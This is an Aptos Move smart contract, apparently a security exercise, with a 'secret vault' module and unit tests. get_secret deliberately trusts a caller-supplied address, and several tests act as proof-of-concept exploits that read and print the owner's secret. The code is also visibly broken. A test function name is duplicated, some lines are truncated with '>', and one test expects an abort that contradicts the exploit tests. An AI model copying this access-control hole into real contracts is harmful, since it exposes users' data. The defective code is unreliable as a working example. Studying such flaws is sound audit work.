Aptos smart contract security tests:
module secret_vault::vault {
use std::signer;
use std::string::{Self, String};
use aptos_framework::event;
#[test_only]
use std::debug;
/// Error codes
const NOT_OWNER: u64 = 1;
struct Vault has key {
secret: String
}
// events
#[event]
struct SetNewSecret has drop, store {}
// --- ENTRY ---
public entry fun set_secret(caller: &signer, secret: vector<u8>) {
let secret_vault = Vault { secret: string::utf8(secret) };
move_to(caller, secret_vault);
event::emit(SetNewSecret {});
}
// --- VIEW ---
#[view]
public fun get_secret(caller: address): String acquires Vault {
assert!(caller == @owner, NOT_OWNER);
let vault = borrow_global<Vault>(@owner);
vault.secret
}
// ================
// Tests
// ================
// Happy path: set and read by inspecting the resource directly
#[test(owner = @0xcc, user = @0x123)]
fun test_secret_vault(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
// Set up accounts (ok to call in tests)
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
let secret = b"i'm a secret";
set_secret(owner, secret);
let o = signer::address_of(owner);
let vault = borrow_global<Vault>(o);
assert!(vault.secret == string::utf8(secret), 100);
debug::print(&b"All tests passed!");
}
// Calling view with a non-owner address should abort with NOT_OWNER
#[test(owner = @0xcc, user = @0x123)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_unauthorized_access(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
set_secret(owner, b"top secret");
// get_secret asserts caller == @owner; passing user's address should abort
let _ = get_secret(signer::address_of(user));
}
// Setting twice should abort because the resource already exists at owner
#[test(owner = @0xcc)]
#[expected_failure] // don't pin code; second move_to will fail
fun test_double_set_fails(owner: &signer) {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
set_secret(owner, b"first");
// second publish of the same resource should abort at VM level
set_secret(owner, b"second");
}
// After a successful set, the value remains what we stored
#[test(owner = @0xcc)]
fun test_value_persists_after_set(owner: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
let s1 = b"persist me";
set_secret(owner, s1);
let v = borrow_global<Vault>(signer::address_of(owner));
assert!(v.secret == string::utf8(s1), 100);
}
#[test(owner = @0xcc, user = @0x123)]
fun test_value_persists_after_set(owner: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
let s1 = b"persist me";
set_secret(owner, s1);
let v = borrow_global<Vault>(signer::address_of(owner));
assert!(v.secret == string::utf8(s1), 100);
}
#[test(owner = @0xcc, user = @0x123)]
fun test_view_function_vulnerability(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
// Set up accounts
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
// Owner sets a secret
let secret = b"my_super_secret";
set_secret(owner, secret);
// Assert that the user is not the owner to prove the test setup is correct
assert!(signer::address_of(user) != signer::address_of(owner), 101);
// Call the view function from the user's context, but pass the owner's address as the 'caller'
let retrieved_secret = get_secret(signer::address_of(owner));
// Assert that the retrieved secret matches the one set by the owner
// This will cause the test to pass, proving the vulnerability
assert!(retrieved_secret == string::utf8(secret), 102);
}
#[test(owner = @0xcc, attacker = @0x456)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_attacker_cannot_read_secret(owner: &signer, attacker: &signer) acqui>
use aptos_framework::account;
use std::signer;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
set_secret(owner, b"top secret");
// The attacker calls the get_secret function with a spoofed address
// The test expects this to fail with NOT_OWNER.
let _ = get_secret(signer::address_of(owner));
}
#[test(owner = @0xcc, attacker = @0x456)]
fun test_view_function_exploit(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
use std::debug; // You might need to add this line
// Create accounts for the owner and the attacker.
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
// The owner sets the secret.
let secret = b"my_super_secret";
set_secret(owner, secret);
// The attacker attempts to read the secret by providing the owner's addr>
let stolen_secret = get_secret(signer::address_of(owner));
// Print the stolen secret to the console.
debug::print(&stolen_secret);
// Assert that the attacker was able to retrieve the correct secret.
// This will cause the test to pass, proving the vulnerability.
assert!(stolen_secret == string::utf8(secret), 101);
}
}